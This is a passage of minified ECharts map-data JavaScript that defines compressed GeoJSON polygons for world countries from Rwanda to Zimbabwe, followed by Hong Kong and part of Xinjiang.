ૣʖȉθ࡟Ǝॗʼnҗ̎Ǽ̸৓ȥϚЃӉΣ@„Ꮪٛᔺ࠳ïԷ"],["@@ः©ƭˌੲΖ@ַ"],["@@ળ»@ָň–܈E௒ʉïŗࡽȩ"],["@@ౡMႣĤƧ¬ߘͪੀþஞ͏ĸə"],["@@ॿͩഉø༛ͨȪ˖༨ųᑔɗ"],["@@ډرᶽzඃȣမղҎ׀૎ǂᕞ™ᴬѽ"],["@@ӹóᩣŊɟώູɦūҒ࡮Ƕ…Ҟသܒޙĺ፨݆ɩϢሤѺ᪪բ᫠ǀ෴̸࿐Ŋאͩ֟ʻᲗз᢭Џᤙߝఫࠍ೉߱Ǡۥྎۏ"],["@@ɨгސȲឤYቈЧڬ̿ȽѧङʝᕅүفʟਬşఖɃݴDŽєաτɔഊƂ᧪ƑȴϽ↲ů´ٜᄼƥഄLബѷϮ՝ӹΙੌڋ೔Ϳ߸ࢦഖϙ෢ɦྼʵؤʀൖş؅ޮૐζ䢀ձܐӿᔲٛ₎DŽာƑ۪΍Ĺؙਜʇ૴Ǥ๰vཚǑཪĢะݛਪˎڷ՞ϐώᧆɻფºᝂБ୲ν@”MKઇσઝÖݶҁԄەϲɧĮΏɑɝ༧Ǿ᚝مݛĭ౽ן௛ԧ̱ϣய׊ᔗڇϣ̸ߵΫ૱Ř˓ց৙߽Šͻड़ȋő௣ޭ‹Ϋ۱Δα฽ѕ̅ॡభȳʥ࡟ே޳ׂ̳έ௬ҵለИ୘܀ԆªϾರȊຊ੒คࡺຢڢڮஆ৷ëԍۗᒉइۍਖᓧ˷ᑃටۚԧሙɕಝēÔ؊ಯŶ਩ЭᢵƠ᪏ʟᨩ࿛ủጝ೚ŁаՃࠄȅ՞оईÃௌऍ†܍ځ࠽ë্ϛഉ్௓˯ׇଙ঑ଇॻթӹ૩ӱՉYՇФૻؙſ˩ŝƦKѐіxŦ঴ɛܚܞ̒৶Ʃ֢ࠈ˾ऄ͚̮Ѵݲ൷ʛܯͧ౧Dͻ߄হװหˎ̵ࠖ̉Ԫ̿βԯࡐ̲݇షʢ૛uਯƱۛлҤȥXҩұˑݷࢻRσஅՍ৙̈́োéѯˮԋĞ௷ףેƑޛȻੑƌޫSԙіࠕИࡅŎ੝ŋߏƹ஛ΜLJـধɎށİवΎࢉࢉ΀ӵࠇב௏ɂ࠻Š֗Ͼ࢙^ܳʴ౫Ѓྃܣࢭơ͡çѽԤઍőΧΦחnjЙӠҩưிɍୃӜ҃ѯሟᒒੵٮ̮˂ᑋߍ߭³êҞઅ˺࢙ȱ˃ࢊມǺݯΑᑅ̳Чȹḭ̇ϫ˻؆ֹ߭ɓǀɭ߭ХസֿɁЉ୻˜ʓʟ੹Ѧ೯iࢻΟহͼᇡ׊ಽsჃࣳĿؗࡹӤڡउʖǡӝُ܊֫ذx՚֗ďѝѐƋϥӽ߿Ƒ࠳ࢁކߕĉ֣ࣼফԇ͹ƝɇωÌֿԚɿ†ՅȚʳΈ޵ǮԙƁƥƼଥЖఅƌ܃ƞĹıੱ܂य़̈́ܩӴؒƈۤ۰ҹͪఌ΄uȀݯƉ‚ώѠɼ߼ÖƄ˪ȅҪ΀ѰWʚఉ˚ӭUԯЀ١ƃ੩̐lǒ̗θڟ¤éʼɀǞ՝ӈࢋąʭ¦Ƀȑ̽”ȷ՞ȟ˨NJĀڴ‡͞Ȁʍɢ֥ƪ¼Ʋ΁ƴՃվǸɨĉЂࠑȨѱijšȼࢭɂˑӸíТЙȖάˊʝ޶װӞųƤक़ҬࢡЎᅢ੶ޮӠ͂єగּΆնݳش֢ܜ঍ग़ޢي౿֔ŬךڶüොͶࢀ̈൦ԕᘨȧṺो٤ЋÆ֓टѳ൏ɡ⏷ٔ؟Ńൌ؛ÂϵÆ࡫ઌʯڂɓňРԑΰ՘͈᎖Թ۾Ȳ֣؜ዦࠖޢµ޸̋Ӫ׀۫ԄЪԊءԶᚠˑӔҹ੡ĻNҳڌ˽ಜǼȶ՚ჶАᰪܞي£ࠣԙਬĕ׼˼༾xఢΐफ़ԏॖ֌ࢡӢѪˤ២ʫ୒ʿᴾॣ֚ѰࡡѺ{ǴৣĈˢЌ҅ټ}ː༄ݾրކزǒᕮɛǬұߕڽԺˋ˒חȏଵऒԧέ֕࿫஝०ŭ̢ͮऎɎɞжܮЎөӌϼֈࣿêȫҲڢࡈણۆຒ֦șװмnѴүͧ߷࣐Ƶϥ؄ඤͦლ¬༈ӏݛ۪ċࣆศǞ፾™ᆘŌہѮংւॲx࿎иᕠŐ˪ɲᕂþیȋሴҀ໲aɶδߤΨጤΈ෸˗ଥȷበŹ"],["@@ⵙ͕ໞીےĦقÃᒈӋʟͿ"],["@@૽ōݱÛśƏঙƑ࣫ȦӐʾል~࿞ƶ౨XǢɧӘȬߊƐఞǿ͗ŷ"],["@@ᆳĿᚉʎඅ͎٣׾଩ǔᔆָᆎȎ࿌чኬ߻ȹݯ"]],encodeOffsets:[[[147096,51966]],[[23277,55632]],[[-179214,68183]],[[184320,72533]],[[-182982,72595]],[[147051,74970]],[[154350,76887]],[[148569,77377]],[[58917,72418]],[[109538,78822]],[[107598,80187]],[[52364,82481]],[[102339,80775]]]}},{type:"Feature",id:"RWA",properties:{name:"Rwanda"},geometry:{type:"Polygon",coordinates:["@@ͬӃµӵʏŁѿÆʱӍԛàþҠŘތԄʎɺȰďԈʸ"],encodeOffsets:[[31150,-1161]]}},{type:"Feature",id:"ESH",properties:{name:"Western Sahara"},geometry:{type:"Polygon",coordinates:["@@oҊŸ@@ÉeNjEౝ᪁ª‚ᒷ޿÷ȳћDŽ்ᾓNǽ˫˜΢bCቆäĶ̢ΆϘˤୌୠ࣢Ђ੖ˀÖ˜ټۺĜ̦ʼnϢ@˔ȒԲ‚"],encodeOffsets:[[-9005,27772]]}},{type:"Feature",id:"SAU",properties:{name:"Saudi Arabia"},geometry:{type:"Polygon",coordinates:["@@ʼnΪʩʨÝͲѡ̞҃۴ʁۆׇ׀ϑƐ֋ߠīא–ӾӕञϿ͠ґǨˡӖ°ȎɹѦʕȊ͝زԟڴѓ־лIžҦœ̌ļͲनƅζʶȪ̢ٚŚƒˮˤƜ࠷ࡀ၆фdžŴৢɩబיᛎၕ༠ãݠąȾЏתv͠ܥаȓƠִ̏Λ¼΍ċ˩ł˯ʎɽŐ˟ŲȵʬǕɶÒdž͍Žș࡙͐ᡌщǞDzϪש֕၁ᠽ࠽ᝑ͑޷ϙ׻ࢥϹƕɁˬ͏§߻ĎƷČॹmɫùΉɔɝЭĒΟρˋ"],encodeOffsets:[[43807,16741]]}},{type:"Feature",id:"SDN",properties:{name:"Sudan"},geometry:{type:"Polygon",coordinates:["@@śhdмĵ̀џͨĵ؄ĶبϳÌÍȇԍ©Ȭʕðԍңңл؅џđ۹Ӫͅǥđʓџǃ…ǥ࠵@řǦ؃†̡ƝɳîѝӬƟɲ؃ŗɱϵɏݣ˿ǁʳğå ̅ʎÃʼƌΔE΄ӛՀĩάZȰ̱ʜUӦǭ͖̍µĎ̰ɒΖħΐˢʴǫȞɞ԰ϨئܦÏ¥ ZΚॲH@း@Ὂ@ῼ@˔ࠗȁƳŪࡻ্̰͌ȷҠ̳ыӑأƏ˅ʳĉ֑α௿ĚͳƅܟͿࠟԓзέٛč΃Љɽʝ࢟Dij"],encodeOffsets:[[34779,9692]]}},{type:"Feature",id:"SDS",properties:{name:"South Sudan"},geometry:{type:"Polygon",coordinates:["@@Xٽűʯѿq˷ӏԨÑюХƨͳϦșӼࣳ֫օԫԇԫϭסFگȟՕȊ΋ɭ݉֐ȥάҵDZϱÆɣƕϗĸԗۚƉˊعͪɅԌΕζ֟ѬS˘ҡͼ֯͠ʴĠ̀ǂɐݤɲ϶؄ŘƠɱўӫɴí̢ƞ؄…Śǥ࠶@†ǦѠDŽĒʔ͆ǦۺөѠĒм؆ҤҤïԎȫʖԎªÎȈϴËĵاĶ؃ѠͧĶ˿cлŜg"],encodeOffsets:[[34779,9692]]}},{type:"Feature",id:"SEN",properties:{name:"Senegal"},geometry:{type:"Polygon",coordinates:["@@΍ٺн̚φDŽРמȦќ˾ːкïШǾҶVДʙ֎ɝԘأֈֽžԹǔӓ̾ɿî͗ʽŧ³қâÙģȃk׿ȲЛV༇–ɥħ˥‚ѻƋƏ٢ވkȬŞƮR̸ȘήǯκcζȌǝʐˡƙʻJͧȸˉ_ȍȥࣵy"],encodeOffsets:[[-17114,13922]]}},{type:"Feature",id:"SLB",properties:{name:"Solomon Islands"},geometry:{type:"MultiPolygon",coordinates:[["@@ɾ˿חN͉ԬԈȯǜ‰"],["@@͝mԧĎǫżÀͮֈƁ˜ǭƎə"],["@@ųƹحܰǫԈ˺@̠ڥʹЗ"],["@@–ǛڅΦҟ̠̿˪ŰĐϮȫېϭȢˉ"],["@@Ǘ³οȒ·Ί¨ƖԈΡͰ˛"]],encodeOffsets:[[[166010,-10734]],[[164713,-10109]],[[165561,-9830]],[[163713,-8537]],[[161320,-7524]]]}},{type:"Feature",id:"SLE",properties:{name:"Sierra Leone"},geometry:{type:"Polygon",coordinates:["@@ɧØ؁ͺѩ҈Ƨ̬Ĺت҆τĬɺƞǸɶpȜǂڦCɺ̛ǼˁʓƈɗṶɴ´ϹϹϛҗ«ʓȩˏ"],encodeOffsets:[[-11713,6949]]}},{type:"Feature",id:"SLV",properties:{name:"El Salvador"},geometry:{type:"Polygon",coordinates:["@@ġȡӡ^̡Ą΍ǘұÀʃǶ~Ů˾ɄǀĢ«IJȠ¾ʜëǸǙʪƇŒœτĴǤÑŘĝÏͳ"],encodeOffsets:[[-89900,13706]]}},{type:"Feature",id:"-99",properties:{name:"Somaliland"},geometry:{type:"Polygon",coordinates:["@@ϛԩד۫۹Mᩧা͍̜̳К̳ҨǾ̖̲҈˚ƹǒΏϜΗкGߊɌࣴĴ݌ʼиÆ̚ƶӎˆKaE΋Aࡑ@ѫ"], +encodeOffsets:[[50113,9679]]}},{type:"Feature",id:"SOM",properties:{name:"Somalia"},geometry:{type:"Polygon",coordinates:["@@ѼĎЊ˾͈FpɵýӧHѳǯ̣ʁࣥЙयԱ੷ܝ௷ܓवধ଩ࡁڹష࠯޳ٕँৱȗѷȍȣӽۚWᵤܾ॒ɰˆբfݠפબšᛜᡄה۬ϜԪ@ѬBࡒFΌLbːhϰŰ"],encodeOffsets:[[50923,11857]]}},{type:"Feature",id:"SRB",properties:{name:"Republic of Serbia"},geometry:{type:"Polygon",coordinates:["@@Ԡȡà΋Ӫʓ˄ȌȸĿșƗƶƥȷȏø̫Тγ͋ʿƗˋĞijƑšϳa˹µƒØĴĴĦȴšKǍƼƑ ŋƆƽÀšŠƯ±ś˧ȩÑèð͋Ǩ˟ĜūŜɟƠȢšŬЄЛ͔ɀτ̥Ë͔́ˉʈȱ͘٢ɚԾ™ҖͣĦˋ"],encodeOffsets:[[21376,46507]]}},{type:"Feature",id:"SUR",properties:{name:"Suriname"},geometry:{type:"Polygon",coordinates:["@@৔ǙĞưڶÔࣚɥѩܟâֹͤӽƥίóϩɉΛӓDzЇđ͹öčʏƘǗ÷ǡҙèԡܴōӄˏBωؐƺѠ¯ȤԜɖƈݲ"],encodeOffsets:[[-58518,6117]]}},{type:"Feature",id:"SVK",properties:{name:"Slovakia"},geometry:{type:"Polygon",coordinates:["@@´»ΊŖш̕ӺǶЈđ؂Ţߚ͓ɷɓǏ͹dzđ࣑ʮ˟»ȟȡЁĿěÄХŽͭ}ãǙ۷Ļ̱ĠёɌċ̆äńŢȂόa˺ĔxþLj¢ÆȒȖ˜žưʢD"],encodeOffsets:[[19306,50685]]}},{type:"Feature",id:"SVN",properties:{name:"Slovenia"},geometry:{type:"Polygon",coordinates:["@@ۜÝъȐܾtLjƘƘUǎ˳ڝɟć͹̇đHɻͣh˷ƎƷƙב†ȈúȫΨĞа"],encodeOffsets:[[14138,47626]]}},{type:"Feature",id:"SWE",properties:{name:"Sweden"},geometry:{type:"Polygon",coordinates:["@@ࠁוƀԥ೹ڭྱܡؓஃײףߦүޗॅ࢑ȝ͍තӋ޿৳ĆӅڗঃˉߐ۳॔ٓஐφӜּۨ˦ন՝ю½ૠղ߀࠰ä̧ͬ˺ಬஂࡀञֈײ߮GɞҶཔƉŬքԸ”૪Щ಼ֱv಑˴͛ฃʃ"],encodeOffsets:[[22716,67302]]}},{type:"Feature",id:"SWZ",properties:{name:"Swaziland"},geometry:{type:"Polygon",coordinates:["@@ǡύӭěԅҖS̄ɰ̀ĂʔʐÒшƵŰϕðω"],encodeOffsets:[[32842,-27375]]}},{type:"Feature",id:"SYR",properties:{name:"Syria"},geometry:{type:"Polygon",coordinates:["@@࿩ࣅऩͬgNŖŶ_ΈȸҠҜ̈́Əͤϗ¨ÿٞȶΌɤȀɤȀ°Ҹ˞Ǐऎɺ҂ƿۖFॴ̀Ґaक़žїԽҡȹĂؗͅ৫ᇵ࢓"],encodeOffsets:[[39724,34180]]}},{type:"Feature",id:"TCD",properties:{name:"Chad"},geometry:{type:"Polygon",coordinates:["@@ĎЄաnDզΓ̶δ૊ੴߌ¬ન͖ၼǼΰΓ˾_ˌ̽ɔȷರࡔҠ…ྑ…ྏ¦ ܥÐϧإɝԯǬȝˡʳĨΏɑΕč̯̎¶Ǯ͕Vӥ̲ʛYȯՏƛэͽ؉ࣹ߅ϳ߹¾ʁûĊ̏ѫ̋Σ͟੓͏ȽȐƓhƹɍۛÙƀɪ˅ׄşΐλƜӷӪǼІϦċʂÐҸSқކŒ֐É֐ͭՠ"],encodeOffsets:[[14844,13169]]}},{type:"Feature",id:"TGO",properties:{name:"Togo"},geometry:{type:"Polygon",coordinates:["@@ڱdzȇ̎ɡՔãкȆݴɁ̬ăڎD؎ΕѠÖˀ݂kŅѵʲʝ̈̋ŽЭǜǥኝȺׅ"],encodeOffsets:[[1911,6290]]}},{type:"Feature",id:"THA",properties:{name:"Thailand"},geometry:{type:"Polygon",coordinates:["@@ݭϬܗeŬڈ݉Káऋґ௯˙ݏÌ؋ն΀ދưܭҶӓԚĭѤѧ˝·ևĵßќۇςƣƭͧ͒ƝжҁӄПЌƏӳǃҲĠԾʚ߬ТࡸҤ޶͟ތ`϶ĩҸ֕ښȩф̄ƺ̮ܶ·ֆՓؘН݆ΠƴϦࣦצœӬθӔȘθʷ´ԍ֨ȷࢭpݫࢰԆʤƧӰzǜَ̊ÍٖڽÀࠥںܷ›܅˙ϛ޿ŦગDž՟ۧȤ১"],encodeOffsets:[[105047,12480]]}},{type:"Feature",id:"TJK",properties:{name:"Tajikistan"},geometry:{type:"Polygon",coordinates:["@@̭ʷࣳƖāӛ࣬Þਢ˗འŶɈާˠĐԜȓ‡͛ŴӍࡿBׁØԻϕύĉ̉ǯͩˠþ۸ʩ¢ĞʲғȐα̇ė͹Żūԇj˕ϩ˯nj؋ˑʱĺӀࡘǹض؟ȨɔφۮŸЌҬˌբ૲ȜǩϵŤɹΎv"],encodeOffsets:[[72719,41211]]}},{type:"Feature",id:"TKM",properties:{name:"Turkmenistan"},geometry:{type:"Polygon",coordinates:["@@ñۼطŠॣݔڣĠगюׯþσƽ֙|ׯӓ݇NjƻרŪ࢞ٽ˶Ɏֺ֏¸Ȇ۾ߊȵ݈ˎؓԎʉӔڱɋď؛ʿհψ˨ॖǪ֨ɻךڅњ¤ॆ\\Əцܖ̂۾ӦଆѹĜڡ͐ǣࣦžˮƳаࡽ०ׇոЃ࢞Щ૤Ϋwԥʩ€Ѕɤſ̙۽NjǙڥӁʭڏŵǫϟهŏࡩ͈"],encodeOffsets:[[62680,36506]]}},{type:"Feature",id:"TLS",properties:{name:"East Timor"},geometry:{type:"Polygon",coordinates:["@@IJȤܢȌז†ˀŀ͆Ľ̯ɫ࢕ο۳ʋeʬďǔ"],encodeOffsets:[[127968,-9106]]}},{type:"Feature",id:"TTO",properties:{name:"Trinidad and Tobago"},geometry:{type:"Polygon",coordinates:["@@ӚŊǮ‡‘صۭġƯúʒɲiͪ"],encodeOffsets:[[-63160,11019]]}},{type:"Feature",id:"TUN",properties:{name:"Tunisia"},geometry:{type:"Polygon",coordinates:["@@ΩພԭͺQȰۉԄóنԮҶȢۚƃߠǠќࣶͺךĵ}ы܊̲ÒljпЫMϱ̆ȽōܫփхDŽқѤaɄЍ͊ſ³٥Хʋʵˏֽ͓ĘΑïΟЧț"],encodeOffsets:[[9710,31035]]}},{type:"Feature",id:"TUR",properties:{name:"Turkey"},geometry:{type:"MultiPolygon",coordinates:[["@@஺͗ঐżܤõলѬࣆ¢ߴЭƜ̑ăУزȻͨʕֻʇˀ५ǏʻҠڧЕƙ̏Ɋ঍ňίŽॗŽҏbॳ̿ەEҁǀऍɹ˝ǐ¯ҷɣǿɣǿ̱Ϡ͈͂ԟí۱ȖֿәౣĥڹҊࣟ†ȗΑׇij߻҄ࣻeӽ࠶ؗҰЦٸՓВठߨಒ’Μྀٔŏ৞հ঒ʄർlุף"],["@@۫ҏ˃Ϻ\\ǦȦĦʺՂХɞࡦ˄ܤőĴ͓ܼ˓Ƶȵি±Ωʷ"]],encodeOffsets:[[[37800,42328]],[[27845,41668]]]}},{type:"Feature",id:"TZA",properties:{name:"United Republic of Tanzania"},geometry:{type:"Polygon",coordinates:["@@ƚġᵂႋÌӣ஼࠿ϱਙ¸Ӊՠ̩~ɓɳԓ¶ʭÇГ̌Ճΐ̰ࠡǿڝӣࣿ͛ԋb̙ʥבsɕŃঢ়ʂكåɽଢ˵ϺǛɶࠗƾӉʨՕƘͯƘΗɈґ੖ӣҺǗӤČѨƯޞΎ ̨̦͜ѬȺǮS˘ǷȐ·ͨʐł¶Ӷͫӄ̎Ķऄ[ႎà"],encodeOffsets:[[34718,-972]]}},{type:"Feature",id:"UGA",properties:{name:"Uganda"},geometry:{type:"Polygon",coordinates:["@@ः\\̍ĵԇʷȯĐPوȜ͎²ڬǰϸ͎Ѭ͔ɠ˒̘͵Ŗ¼চΌɮՖȉڰȠעEԬϮЊ׍İсτ९̧ؓЯ֋ʉͽTࢹႍß"],encodeOffsets:[[32631,-1052]]}},{type:"Feature",id:"UKR",properties:{name:"Ukraine"},geometry:{type:"Polygon",coordinates:["@@̾“ɄȒʮ¥ࢌĆ՞Ӈȿǝêʻڠ£̘ηkǑ੪̏٢Ƅ԰ϿӮVఊ˙XʙͿѯȆҩƃ˩߻Õџɻύڡã֑˕޽«ܣ̻¸ԹЪȭࡨ¼Ǐ̛ँơଛӟұǠȄЂࣽʘƨLjߪ˪ʑȔಯɆË̼ީĻ̷ҧٱةϟƠЁƉϑƺɂĞƦ˾ɲˎÑƮǬäĊśӸ{ɞØƽĎÐŲ̉ɈŧΘ̩ƐÒ˶ϝɦΉŽأʾ֑ĉȧŭΟ@Ƀȟاă˹ŹϷȴ՟HԳĢγǵÍɤұɮǐͺɸɔȀµɑϘބۦиİĜɾхܼДҢɪٲnࡖßबȫڎi͂ŧ̀Ʀɚȝݸ¢ͮąÄцʶȂܞº"],encodeOffsets:[[32549,53353]]}},{type:"Feature",id:"URY",properties:{name:"Uruguay"},geometry:{type:"Polygon",coordinates:["@@ղĚࡆٯ̺|ࡺ՟ڈҫӠֱχЉɸӇεՇॉұاǚғěޥΰ֫ԟҬÞլǾȈS࠸ɤࡺȾڦ"],encodeOffsets:[[-59008,-30941]]}},{type:"Feature",id:"USA",properties:{name:"United States of America"},geometry:{type:"MultiPolygon",coordinates:[["@@ũƕȽŤ|ɾƓ̨¦ĤƤƎÍǔ¸þÜe͐ƙƬñƌőɊ̍q¯͟ǵˏſ"],["@@˭ÑƟǮīèQÀĈî̘āɘŹëĵ"],["@@ĝ҉|Úĸа•"],["@@­µÓŻˆŃȒ’ɤŚêÃʐ˥"],["@@ıĉ˱ƴªÖŸĈȘijȝ"],["@@Ƭңʼƛז½࡬ƅࠂʹڼŊਖɓ˞Tݨʄ߂̧ࠒ͗ں˩ٶˏĈəȢĉ½ĉɦǎĔ¦ȣǜƅɴ@ŬĹĽƫ࢖ЁǶށǚܳʗӹЁҥȁ̍mēĦť˸Ɓɂ@ঊ҆ࡾƀસмfĐ÷ʰƉǒϜƆࠜHޘAˎ͞ŀàࢶ؄ϜƸ౦N໾BĎȺː¦Φž̖Ϣʲٺٚي˨ə֜ƜώʏAଧռӅƢ˝࣋Пࡷ̃ࢱʝѻӿƛȋSѽˤѽΒsė̬ʦȇãʇ֥ƋЗhةƥλ¥ӥ¥۫ʏఀǂʠǃ୳ʥ՗C|ĺʭɷʚǹ׽ؑ٧×Ɏȁª˟ɀǪҍȼƭ^ͅˏ͛ҿڡûʺֲѕ͎įۦljεǴՑևƀׂ˓˜ߛʊÍĖ̃ŠࡁՕدࢇʝցӱнÁэ̱ţ˭इձӁЍЅӽŻׯƪ׍ˬܗώשLεЊঅ֥—͛ȿԡʣŃЯĺƁς͋ȖѻܢϹٞű͢Ǥ֐ɽҦٻ۲͟źࡑϡƭ¦СϼՃȺोŁݗĤٙÍΏſƲɟaͽǴǓLJō̵Ů́ǃ؍€طѺܻĿ؏ȚԹÏۻȝއح࠳γҝБȕϗUׅ¨ЕDŽ˹͝{׭ȂٽʺɽЄȁטӷӐ̃ӰуֺףͲۉgՉڑۣʦѡʪȽҦ˧Ѯӿτїˈ̩̖ป@C΋ڗ@ဩOቿפ౓ТĀǒ੩ĝॕÝƙіխӚϻĴğʌһ¦̝ɪޭĊɉƌĹҢࠁࡊ۩ୠˆȚχˤٯ۴řۆ҃ҞȀۢ…ܜˍ٢͠ߊĸނĺނƱૼˇܘʓ϶ĸǐ௒˷҂ߋȺɜƇې˷ێᛸ@᠂@ࠜ@ᢢ@៚@ᡀ@ᡄ@᭰@ᮞBაAF͔˴J"],["@@࠽͋ѕɐŽЀބ̘҆Ÿ֐ÉΤʻܫЍ"],["@@ԧŽսƾԛɮࠦƞښùĂ͑"],["@@԰DžԾĒڸɛ࠲őéĝُDZٕǾ͋Ʋݍµȧôº̈́"],["@@؊ϛώnjහ»¹ȕ౾ƛࡨČᄚ˅ྤā٨ʼn૦Ǝౢʧࣲŝ@@MᷱIⷍࠠ{ࠌɵהρݜցࠈҺࡈ˖Ҁѡ֤·ޒϙՂ׽࡮य़ේ՗xՋұЙҥ͂ݍˌʃܺએںҍߎ߯Ä೷rটʌ჉ࢎߩDŽ฽̜୑í࿻ϬৃΨटǯǦ׏ҫÁঁǫ݉˱झdzťӶϚࠚࣀʶɱɂੱҵֵ֑௅ױؚСߏ׿ࣗΗࡁʱȻωಽѡ˅ϿছΫֽÞ޷ɻ࡝˹ۧ˫෹ʉſƘऀϾࠔʸࣆҠਬĨвΈ୘ԊȈǚب̒ƢْђӸॹʫ˓Ơҕ̧շюɧ̝̽м࠿ͳԩBïԄƲ̮ե̚થLJ܁ЀַȬIӈ٩Ϊ͘ӘۆҸ̚њںÖ־ƇڴМ؎ï٘ʼƻϨҹưج͖ԩWࢻǽʯȃڏȄஏĥ௷ȬΛ͸੟Ӧ୾ΘመШ۔@ŕнᄢŽڽԶਕ͌ױр߫ΨଽˈҺѲ๰‚ਗ਼ϦȨФ࡬ЎࠊĪཪώޜÉಐ҄ౚǭ"]],encodeOffsets:[[[-159275,19542]],[[-159825,21140]],[[-160520,21686]],[[-161436,21834]],[[-163169,22510]],[[-97093,50575]],[[-156678,58487]],[[-169553,61348]],[[-175853,65314]],[[-158789,72856]]]}},{type:"Feature",id:"UZB",properties:{name:"Uzbekistan"},geometry:{type:"Polygon",coordinates:["@@xԦૣά࢝ЪշЄ॥׈Яࡾ˭ƴࣥ͏ǤěڢଅѺ۽ӥܕ́Ɛхॅ[ᶾᓘӺƾïದ׻یͅߤݵঢŪ෸à৔ؗÙࡅЦMǢۍ੬ɲЉ̺Lπ׺૎הӖƺʠĉ۵խئ́ײȾ়ѷ੽؁ٕĊ΍uţɺǪ϶૱țˋաЋҫۭ ɓυؠȧǺصҿࡗهǰҳN"],encodeOffsets:[[68116,38260]]}},{type:"Feature",id:"VEN",properties:{name:"Venezuela"},geometry:{type:"Polygon",coordinates:["@@yȣӱĭ˜ϡYѭυӥ͆ڙδÆȌ؈ʻ̒§َਸ਼΀řІ̎ˆ̞ןל_մҵ˧ݮQ࣌ĔӖϕٞĻҼʾXɄਨ¼৖\\܉ʛ˼Їڦ×ِЯƆڧѬn͢ȣڕӱó̫˾̷ȽƽԫƉjϱɫɱّ֪Őʁ̭͍ऱ̽׿Žʏȣڛɀثņƿýϔɑ‘֝ŜՉ܆ï°ǭ׷ʅĭΣΉƏسȝNjʱٷÅҧѼʯ࠺ɟ̧̌Ȅюм…ȊʅʠǛ֒à׼Ȉ˰ƲҎ̓Ơӏĩ؁®ͻęסܢӥńઉăȧ̊ȷê‡ǬĴ̶áͺȃȂŅϮѡÈɸӮĺ׶ʔ̸͘ʌɈрդƖ"],encodeOffsets:[[-73043,12059]]}},{type:"Feature",id:"VNM",properties:{name:"Vietnam"},geometry:{type:"Polygon",coordinates:["@@૭ܗ۫ߍȁ׍٠ࢭ޺ળނԱԞګϪ།ŕ๓۫փ१եۇ۫਷ޱ̧ՠʀ֬دӌܬ͸ࢦÔσԚප٨ļ৖ț֖ƶࡀɃצٍאՋ݌ۥ঴৓Ԋʊ̠՞ɘ͙ܺਙPϕކӭڐҊȴڢIࠈĬܒ҄К̿ސƵƃӛАͿࡎɓ"],encodeOffsets:[[110644,22070]]}},{type:"Feature",id:"VUT",properties:{name:"Vanuatu"},geometry:{type:"MultiPolygon",coordinates:[["@@ˣō˭ςŒɤՆӗ"],["@@ƌڱɥŀǩ­ťɴi٢Дʵ"]],encodeOffsets:[[[171874,-16861]],[[171119,-15292]]]}},{type:"Feature",id:"PSE",properties:{name:"West Bank"},geometry:{type:"Polygon",coordinates:["@@@ԣŭʙЃŕ˜ɜɌŚɁĦǬ̤֔ś"],encodeOffsets:[[36399,33172]]}},{type:"Feature",id:"YEM",properties:{name:"Yemen"},geometry:{type:"Polygon",coordinates:["@@؉ɥNjύo˹࠷Οഇϻݩףυ±ʥºӭΑ՗lj۷©ɃµǿɛəÕŻɇеlˍœ׉¨ɓӬzҠƍʜǑتʋΊǚ¤đϨĸNJ™ξςˌđΠɞЮΊɓɬúॺnƸċ߼č͐¨ɂ˫ϺƖ׼ࢦ޸Ϛᝒ͒ڀ൳˞ח"],encodeOffsets:[[54384,17051]]}},{type:"Feature",id:"ZAF",properties:{name:"South Africa"},geometry:{type:"Polygon",coordinates:["@@ǏŧΣяɻћӇ׻ोࢁףԋًϣ࢛͙ѓ«ŇɷԛŰеDž࣫NJԙĹΏ¬ࡿͩܓƃԱͅϡoΣ̚˳fαϒŸśŏɦLӰ˙֞˔ƴs٤ս޼х܈AF׽તДдͪɯƘΫϘÓՈǃҌÖݤіB᷌ɨűӾߙûԟȈ̏׼ĒрϒЊʨȶДЦȚΠķВɽۂ£՞ȜĐʾƨДҚäʨ͂˪֔ݮغஒؤ΂UОƛ˲Ķ҂ċД஁ɔׯƫऩî̟чƶʏÑāʓɯ̿T̃ԆҕӮĜǢώْQȿؑıۥɑϛֵщ","@@νʶϻǟҕ҃͡Տـ٧̜ČƺˎҴƀƜ˜ʴФ̅ʪ"],encodeOffsets:[[32278,-29959],[29674,-29650]]}},{type:"Feature",id:"ZMB",properties:{name:"Zambia"},geometry:{type:"Polygon",coordinates:["@@ІϏɊ܋ƝɩǙڻLjۡ˃̇ʭޭѶɓᢇۗĂׯٍřӍͯĹ̛̅ßܵۓҭխ˳o˗ĬऱĠƯÚOêͧȎկ¶ۋȑչԾ֣یžᦶშYí̂Ű̀ƧЀĪТėʺ̂q¶ʽϾrՖûˬϡڨŝԤˆȌѯ٠ş̴ΧΈҥ٠Që࣠ɱƳח͞ɧƬļࡈƬসȉψʈ՚ɤĶ଀ƚͦđΘɇͰƗՖƗӊʧ"],encodeOffsets:[[33546,-9452]]}},{type:"Feature",id:"ZWE",properties:{name:"Zimbabwe"},geometry:{type:"Polygon",coordinates:["@@ҁČ˱ĵНƜ΁VՙϞٯźʙՒC̒έĞ्ई˃ӢǛƮ͓ڤलğ˘ī˴pҮծܶ۔̜àĺ̆ӎͰَŚÆ̻۬hϴǯǺȻАÓѦˑF੟Ǐ׋—عƊʝħӵŵùɛ؅ࢫ॓"],encodeOffsets:[[31941,-22785]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/xiang_gang_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"8100",properties:{name:"香港",cp:[114.2784,22.3057],childNum:1},geometry:{type:"Polygon",coordinates:["@@™@}ScTʟ@cWuJÁ–]„l¦RLj¼BĄà˜ ŽH@TOHCTDDDHDNAT@PEHDDNJLX@BABALHFF@DKHADBBLDHHFBLEJB@GDBBFBADDB@@KFAFBBJJA@BB@@FFDDADFF@FADDDBJC@AFBD@@DDD@DAA@D@DB@DHHBFJBBFEHDFAN@DGDC@DLCBDDCFDlAFBFCBEF@BC@GDAB@FD@DZJ‚X´HĐMja@Ý`p_PCZ@lLnRGSDMFK|a\\Y}­ƒ§™Mën"],encodeOffsets:[[117078,22678]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/xin_jiang_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"6528",properties:{name:"巴音郭楞蒙古自治州",cp:[88.1653,39.6002],childNum:9},geometry:{type:"Polygon",coordinates:["@@˜@ÈÒĊanwŎV„™Ȯ¦ͪŃĢ„ÜōȂçČéƐżLɆóĊ‚Ċaʊٱ¯²Um»ˌmÈ»V™ʠţWÑůǓ郙ôƑƒğÆīŎī@Ƿ™wô™˺LÞ¯ƨVǪуšĢ™ȘV°wĢŽôk°¯ƒ»΀@Ȃ»ĸŽǔ@΀ƒ͔ôôLɆó̐ÝɜLɲōͪƒƨóŤK@ī@IU܃ÛmȻţǩÝ˹